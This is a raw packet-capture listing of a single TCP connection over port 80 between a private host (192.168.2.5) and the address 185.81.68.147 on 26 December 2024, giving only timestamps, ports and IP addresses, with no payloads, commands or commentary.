Dec 26, 2024 12:05:13.531460047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.532363892 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.532423973 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.532452106 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.532511950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.533315897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.533437967 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.533572912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.533641100 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.534214020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.534260988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.534321070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.534356117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.535244942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.535306931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.535341978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.535387039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.536261082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.536310911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.536370039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.536411047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.537312984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.537360907 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.537394047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.537439108 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.538583040 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.538618088 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.538638115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.538647890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.539382935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.539433956 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.539438009 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.539474010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.540401936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.540450096 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.540534973 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.540580988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.541388988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.541434050 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.541517019 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.541558981 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.542453051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.542527914 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.542571068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.542642117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.543446064 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.543494940 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.543555021 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.543597937 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.544459105 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.544507980 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.544545889 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.544593096 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.545516014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.545557976 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.545703888 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.545749903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.546665907 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.546710968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.546791077 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.546833992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.547519922 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.547574043 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.547616005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.547656059 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.548527002 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.548571110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.548645973 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.548690081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.549637079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.549696922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.549702883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.549742937 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.550607920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.550652027 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.550723076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.550770044 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.551778078 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.551822901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.551861048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.551901102 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.552640915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.552721024 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.552753925 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.552792072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.553751945 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.553795099 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.553828001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.553867102 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.554708004 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.554775000 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.554811954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.554855108 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.555757046 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.555798054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.555876017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.555917978 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.556772947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.556857109 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.556906939 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.556946993 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.557811022 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.557854891 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.557946920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.557988882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.558844090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.558883905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.558922052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.558960915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.559828043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.559868097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.559935093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.559973955 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.560889959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.560935020 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.561001062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.561034918 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.561964035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.562005997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.562020063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.562061071 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.562879086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.562946081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.562966108 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.563010931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.563932896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.563970089 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.564030886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.564069986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.564950943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.565009117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.565105915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.565146923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.566045046 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.566093922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.566179991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.566224098 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.567012072 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.567054033 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.567127943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.567169905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.568022013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.568062067 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.568104029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.568144083 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.725822926 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.725887060 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.725888968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.725936890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.726178885 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.726224899 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.726516008 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.726563931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.727613926 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.727675915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.727881908 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.727926016 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.728226900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.728271961 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.728318930 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.728364944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.729361057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.729410887 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.729443073 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.729490042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.730205059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.730261087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.730293036 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.730329990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.731249094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.731293917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.731333971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.731378078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.732274055 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.732319117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.732357979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.732404947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.733361006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.733407974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.733421087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.733462095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.734281063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.734330893 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.734332085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.734383106 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.735342026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.735398054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.735407114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.735447884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.736417055 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.736429930 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.736478090 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.737401962 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.737472057 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.737478971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.737519979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.738543034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.738596916 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.738606930 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.738687038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.738756895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.739406109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.739456892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.739481926 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.739530087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.740444899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.740493059 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.740533113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.740581036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.741507053 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.741519928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.741569042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.742539883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.742588043 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.742634058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.742679119 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.743530989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.743581057 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.743638039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.743683100 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.744529009 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.744570971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.744668007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.744724989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.745588064 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.745637894 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.745670080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.745717049 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.746613979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.746661901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.746742964 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.746789932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.747623920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.747673035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.747739077 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.747783899 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.748653889 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.748708010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.748825073 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.748867989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.749664068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.749725103 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.749756098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.749806881 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.750685930 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.750761986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.750797987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.750844002 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.752058983 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.752114058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.752150059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.752201080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.752995968 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.753040075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.753067017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.753113985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.753746033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.753792048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.753814936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.753853083 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.754827976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.754875898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.755001068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.755044937 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.755884886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.755928040 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.755963087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.756007910 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.757527113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.757591963 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.757637024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.757677078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.758474112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.758521080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.758580923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.758620024 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.759337902 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.759383917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.759475946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.759520054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.760222912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.760288000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.760305882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.760320902 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.761116028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.761164904 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.761266947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.761308908 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.762062073 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.762099981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.762120008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.762145996 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.763005972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.763055086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.763123989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.763170958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.764024019 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.764086962 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.764161110 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.764214039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.765059948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.765105009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.765151024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.765191078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.766045094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.766098976 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.766144037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.766185045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.767096043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.767152071 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.767189980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.767234087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.768192053 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.768239021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.768244028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.768290997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.769326925 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.769371986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.769409895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.769454956 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.770174980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.770227909 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.770268917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.770308971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.771199942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.771261930 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.771305084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.771349907 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.772351027 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.772401094 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.772428989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.772469044 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.773241043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.773289919 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.773309946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.773360014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.774251938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.774296045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.774414062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.774456024 CET	49708	80	192.168.2.5	185.81.68.147
